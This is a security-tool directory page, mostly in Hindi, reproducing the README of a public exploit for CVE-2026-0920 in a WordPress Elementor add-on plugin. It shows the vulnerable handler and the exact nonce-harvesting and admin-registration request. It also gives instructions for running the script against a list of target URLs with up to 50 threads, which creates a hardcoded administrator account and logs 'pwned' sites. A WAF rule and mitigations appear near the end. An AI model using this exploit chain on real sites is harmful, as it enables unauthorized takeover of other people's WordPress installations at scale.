Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-0920- — LA-Studio Element Kit for Elementor <= 1.5.6.3 - lakit_bkrole पैरामीटर के माध्यम से बैकडोर द्वारा प्रशासनिक उपयोगकर्ता निर्माण हेतु बिना प्रमाणीकरण के विशेषाधिकार वृद्धि | Kitploit
उपकरण/GitHubGitHub/nxploited/cve-2026-0920-
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षालर्निंग और शिक्षा
GitHubnxploited/cve-2026-0920-

CVE-2026-0920-

LA-Studio Element Kit for Elementor <= 1.5.6.3 - lakit_bkrole पैरामीटर के माध्यम से बैकडोर द्वारा प्रशासनिक उपयोगकर्ता निर्माण हेतु बिना प्रमाणीकरण के विशेषाधिकार वृद्धि

रिपॉजिटरी देखें
214 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-0920-

LA-Studio Element Kit for Elementor <= 1.5.6.3 - lakit_bkrole पैरामीटर के माध्यम से प्रशासनिक उपयोगकर्ता निर्माण हेतु बैकडोर द्वारा बिना प्रमाणीकरण के विशेषाधिकार वृद्धि

root@kitploit:~
   _____   _____   ___ __ ___  __      __  ___ ___ __  
  / __\ \ / / __|_|_  )  \_  )/ / ___ /  \/ _ \_  )  \ 
 | (__ \ V /| _|___/ / / () / // _ \___| () \_, // / () |
  \___| \_/ |___| /___\__/___\___/    \__/ /_//___\__/ 

Telegram CVE CVSS Python License


📡 एक्सप्लॉइट सबसे पहले यहीं जारी होता है। टेलीग्राम पर @KNxploited को फॉलो करें — नए खुलासा हुए CVE, कार्यशील PoC और सटीक सुरक्षा अनुसंधान के लिए आपका विशेष फ़ीड। लगातार अपडेट। उनके लिए बनाया गया है जो आगे रहते हैं।


🧠 अवलोकन

CVE-2026-0920 एक CVSS 9.8 क्रिटिकल भेद्यता है जो LA-Studio Element Kit for Elementor WordPress प्लगइन में खोजी गई है।

यह दोष ajax_register_handle() फ़ंक्शन में स्थित है, जो AJAX के माध्यम से बिना प्रमाणीकरण के उपयोगकर्ता पंजीकरण को संसाधित करता है। यह फ़ंक्शन lakit_bkrole पैरामीटर पर किसी भी प्रतिबंध को लागू करने में विफल रहता है — जिससे पूरी तरह से बिना प्रमाणीकरण वाला हमलावर पंजीकरण के दौरान administrator भूमिका स्वयं-निर्धारित कर सकता है, और एक ही अनुरोध में पूर्ण WordPress एडमिन अधिग्रहण प्राप्त कर सकता है।


💀 भेद्यता का गहन विश्लेषण

मूल कारण प्लगइन के AJAX पंजीकरण हैंडलर में भूमिका क्षमता जांच की कमी है:

root@kitploit:~
// Registered with no authentication requirement
add_action('wp_ajax_nopriv_lakit_ajax', [$this, 'ajax_register_handle']);

public function ajax_register_handle() {
    $actions = json_decode(stripslashes($_POST['actions']), true);

    foreach ($actions as $req) {
        if ($req['action'] === 'register') {
            $data = $req['data'];

            $user_data = [
                'user_login' => $data['username'],
                'user_pass'  => $data['password'],
                'user_email' => $data['email'],
                'role'       => $data['lakit_bkrole'], // ← ATTACKER CONTROLLED
            ];

            // No validation of $data['lakit_bkrole'] against allowed roles
            wp_insert_user($user_data); // Administrator created silently
        }
    }
}

यह क्रिटिकल क्यों है:

  • wp_ajax_nopriv_* = बिना किसी प्रमाणीकरण के किसी भी व्यक्ति के लिए सुलभ
  • lakit_bkrole किसी भी WordPress भूमिका स्ट्रिंग को स्वीकार करता है — जिसमें administrator भी शामिल है
  • एक ही POST अनुरोध पूर्ण विशेषाधिकार वाला एडमिन खाता बनाता है
  • आवश्यक nonce साइट के फ्रंट-एंड HTML/JS में सार्वजनिक रूप से उजागर होता है
  • कोई रेट लिमिटिंग नहीं, डिफ़ॉल्ट रूप से कोई CAPTCHA लागू नहीं, कोई ईमेल सत्यापन आवश्यक नहीं

⚔️ एक्सप्लॉइट श्रृंखला

root@kitploit:~
Step 1 — Nonce Harvesting
──────────────────────────────────────────────────────────────────────
GET / (or /index.php, /home, /?page_id=1)

Search HTML/JS for:
  "ajaxNonce": "<value>"         ← Inline JSON config
  ajaxNonce: '<value>'           ← JS variable
  data-ajaxnonce="<value>"       ← HTML attribute

Nonce is publicly accessible — no login required.
  ↓
ajaxNonce extracted ✔️

──────────────────────────────────────────────────────────────────────
Step 2 — Admin Account Registration
──────────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php

  action  = lakit_ajax
  _nonce  = <extracted nonce>
  actions = {
    "req1": {
      "action": "register",
      "data": {
        "email":                  "[email protected]",
        "password":               "adminSA",
        "username":               "Nx_admin",
        "lakit_field_log":        "yes",   ← use supplied username
        "lakit_field_pwd":        "yes",   ← use supplied password
        "lakit_field_cpwd":       "no",    ← skip password confirm
        "lakit_bkrole":           "1",     ← trigger admin role injection
        "lakit_recaptcha_response": ""
      }
    }
  }
  ↓
Administrator account silently created ✔️

──────────────────────────────────────────────────────────────────────
Step 3 — Full Admin Verification
──────────────────────────────────────────────────────────────────────
POST /wp-login.php
  log = Nx_admin
  pwd = adminSA
  ↓
Session cookies obtained → GET /wp-admin/plugin-install.php
  ↓
Plugin install page accessible = CONFIRMED FULL ADMIN ✔️

⚙️ आवश्यकताएँ

root@kitploit:~
pip install requests colorama
निर्भरताउद्देश्य
requestsHTTP अनुरोध, सत्र प्रबंधन, कुकी प्रबंधन
coloramaसभी प्लेटफॉर्मों पर रंगीन टर्मिनल आउटपुट

Python 3.10+ अनुशंसित (str | None यूनियन टाइप हिंट का उपयोग करता है)।


📂 फ़ाइल संरचना

root@kitploit:~
CVE-2026-0920/
├── CVE-2026-0920.py          # Main exploit script
├── list.txt                  # Target URLs — one per line
├── success_results.txt       # Auto-generated: pwned targets + credentials

🚀 उपयोग

चरण 1 — क्रेडेंशियल कॉन्फ़िगर करें (वैकल्पिक)

CVE-2026-0920.py खोलें और अपने इच्छित एडमिन खाता विवरण सेट करने के लिए शीर्ष पर मौजूद कॉन्स्टेंट संपादित करें:

root@kitploit:~
ADMIN_EMAIL    = "[email protected]"   # Email for the new admin account
ADMIN_PASSWORD = "adminSA"                 # Password for the new admin account
ADMIN_USERNAME = "Nx_admin"               # Username for the new admin account

चरण 2 — टार्गेट तैयार करें

प्रत्येक पंक्ति में एक टार्गेट URL के साथ list.txt बनाएं:

root@kitploit:~
https://target1.com
https://target2.com
http://target3.com

बिना स्कीम वाले URLs को स्वचालित रूप से https:// उपसर्ग दिया जाता है।


चरण 3 — एक्सप्लॉइट चलाएं

root@kitploit:~
python CVE-2026-0920.py

आपको संकेत दिया जाएगा:

root@kitploit:~
Enter targets list filename (e.g. list.txt): list.txt
Enter number of threads (1-50):             20

चरण 4 — लाइव आउटपुट देखें

स्क्रिप्ट रीयल-टाइम, रंग-कोडित टर्मिनल आउटपुट उत्पन्न करती है:

root@kitploit:~
[14:22:01] [*] https://target.com - Starting target
[14:22:02] [+] https://target.com - kay: a4f9c2b1e3
[14:22:02] [*] https://target.com - AJAX HTTP status: 200
[14:22:03] [+] https://target.com - AJAX response indicates success
[14:22:04] [*] https://target.com - Full admin verification: OK

============================================================
[ SUCCESS BLOCK ]
Site        : https://target.com
Result      : SUCCESS
AJAX OK     : YES
FULL ADMIN  : YES (login + plugin install access)
============================================================
रंगअर्थ

चरण 5 — परिणामों की समीक्षा करें

सफल एक्सप्लॉइट success_results.txt में लिखे जाते हैं:

root@kitploit:~
https://victim.com | USERNAME:Nx_admin | EMAIL:[email protected] | PASSWORD:adminSA | LOGIN:FULL_ADMIN_OK | RESP_SUCCESS:YES | NONCE:a4f9c2b1e3

प्रत्येक पंक्ति में पूरी जानकारी होती है: टार्गेट, क्रेडेंशियल, लॉगिन स्थिति, AJAX प्रतिक्रिया स्थिति और उपयोग किया गया nonce।


🖥️ स्क्रिप्ट पैरामीटर संदर्भ


🔬 सत्यापन तर्क

स्क्रिप्ट झूठी सकारात्मक (false positives) को समाप्त करने के लिए दो-चरणीय सत्यापन करती है:

root@kitploit:~
Stage 1 — AJAX Response Analysis
  Checks for success markers in the JSON response:
    • "created successfully"
    • "success":true
    • "type":"success"
    • "status":"success"

Stage 2 — Real Login + Plugin Install Access Test
  1. POST /wp-login.php with injected credentials
  2. GET /wp-admin/plugin-install.php
  3. Confirm 200 response + plugin upload form present
  4. Confirm no redirect back to wp-login.php

Only BOTH stages passing = TRUE SUCCESS reported

यह उन साइटों के कारण होने वाले झूठे सकारात्मक परिणामों को समाप्त करता है जो AJAX पर 200 OK लौटाती हैं लेकिन पंजीकरण को चुपचाप विफल कर देती हैं।


📊 डिटेक्शन सिग्नेचर

यह एक्सप्लॉइट यह विशिष्ट नेटवर्क पैटर्न उत्पन्न करता है — डिफेंडरों और WAF लेखकों के लिए:

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=lakit_ajax&_nonce=<VALUE>&actions={"req1":{"action":"register","data":{...,"lakit_bkrole":"1",...}}}

WAF / IDS नियम (स्यूडोकोड):

root@kitploit:~
IF  request.method == POST
AND request.path   == "/wp-admin/admin-ajax.php"
AND request.body   CONTAINS "lakit_ajax"
AND request.body   CONTAINS "lakit_bkrole"
THEN BLOCK + ALERT (Privilege Escalation Attempt — CVE-2026-0920)

🛡️ शमन और उपचार

यदि आप साइट स्वामी, डेवलपर या डिफेंडर हैं, तो तुरंत कार्य करें:

  • ✅ अपडेट करें LA-Studio Element Kit for Elementor को 1.5.6.3 से ऊपर के संस्करण में
  • ✅ निष्क्रिय करें और हटा दें प्लगइन को तब तक जब तक पुष्टिकृत पैच किया गया संस्करण इंस्टॉल न हो
  • ✅ ऑडिट करें सभी WordPress प्रशासक खातों की — किसी भी अपरिचित प्रविष्टि को तुरंत हटाएं
  • ✅ लागू करें सर्वर-साइड भूमिका सत्यापन — व्हाइटलिस्ट जांच के बिना उपयोगकर्ता-आपूर्ति भूमिका मानों पर कभी भरोसा न करें
  • ✅ ब्लॉक करें WAF स्तर पर lakit_bkrole युक्त admin-ajax.php के लिए बिना प्रमाणीकरण के POST अनुरोध
  • ✅ निगरानी करें lakit_ajax AJAX एक्शन कॉल के लिए सर्वर और WordPress गतिविधि लॉग
  • ✅ सक्षम करें रोकथाम उपाय के रूप में सभी मौजूदा एडमिन खातों पर दो-कारक प्रमाणीकरण
  • ✅ समीक्षा करें Wordfence सलाहकार और सभी अनुशंसित हार्डनिंग चरणों को लागू करें

⚠️ अस्वीकरण

root@kitploit:~
THIS TOOL IS PROVIDED STRICTLY FOR EDUCATIONAL, AUTHORIZED PENETRATION
TESTING, AND SECURITY RESEARCH PURPOSES ONLY.

By downloading, executing, or modifying this script, you explicitly agree:

  • You hold EXPLICIT, WRITTEN authorization from the owner of every
    target system you test. No exceptions. No grey areas.

  • You are operating within a formally scoped, authorized penetration
    testing engagement or a controlled lab environment.

  • You will NOT use this tool against any system, network, or
    infrastructure without documented legal permission.

  • Nxploited and all contributors bear ZERO liability for unauthorized
    use, data loss, system damage, legal proceedings, or criminal
    prosecution arising from the use of this tool.

Unauthorized use of this exploit constitutes a criminal offense under:
  — Computer Fraud and Abuse Act (CFAA), USA
  — Computer Misuse Act (CMA), UK
  — EU Directive 2013/40/EU on Attacks Against Information Systems
  — Saudi Arabia's Anti-Cyber Crime Law (No. M/17)
  — And all equivalent national and international cybercrime legislation.

USE RESPONSIBLY. HACK ETHICALLY. DISCLOSE RESPONSIBLY.

👤 लेखक

हैंडलNxploited
टेलीग्राम@KNxploited
गिटहबgithub.com/Nxploited

🔔 टेलीग्राम पर @KNxploited को फॉलो करें नए CVE। कार्यशील एक्सप्लॉइट। गहन भेद्यता अनुसंधान। जानने वाले पहले। कार्य करने वाले पहले। अंतिम न बनें।


सटीकता के साथ Nxploited द्वारा निर्मित · केवल अधिकृत सुरक्षा अनुसंधान के लिए · CVSS 9.8 क्रिटिकल
टूल डाउनलोड करें
फ़ील्डविवरण
CVE IDCVE-2026-0920
प्लगइनLA-Studio Element Kit for Elementor
स्लगlakit / la-studio-element-kit-for-elementor
प्रभावित संस्करण1.5.6.3 तक के सभी संस्करण
भेद्यता प्रकारबिना प्रमाणीकरण के विशेषाधिकार वृद्धि / एडमिन निर्माण
हमला वेक्टरनेटवर्क — कोई प्रमाणीकरण आवश्यक नहीं
CVSS 3.1 स्कोर9.8 क्रिटिकल
CVSS वेक्टरAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CNAWordfence
प्रभावपूर्ण WordPress प्रशासक अधिग्रहण
शोधकर्ताNxploited
threadingसमवर्ती मल्टी-टार्गेट प्रोसेसिंग
reHTML/JS से रेगेक्स-आधारित nonce निष्कर्षण
🔵 सियान [*]
सूचनात्मक — चरण प्रगति पर है
🟢 हरा [+]सकारात्मक संकेत — आंशिक या पूर्ण सफलता
🟡 पीला [!]चेतावनी — अस्पष्ट परिणाम, समीक्षा आवश्यक
🔴 लाल [-]विफलता — टार्गेट शोषण योग्य नहीं या त्रुटि
पैरामीटरडिफ़ॉल्टविवरण
टार्गेट फ़ाइलlist.txtटार्गेट URLs वाली फ़ाइल
थ्रेड्स10 (अधिकतम: 50)समवर्ती वर्कर्स
ADMIN_EMAIL[email protected]इंजेक्टेड एडमिन खाते के लिए ईमेल
ADMIN_PASSWORDadminSAइंजेक्टेड एडमिन खाते के लिए पासवर्ड
ADMIN_USERNAMENx_adminइंजेक्टेड एडमिन खाते के लिए उपयोगकर्ता नाम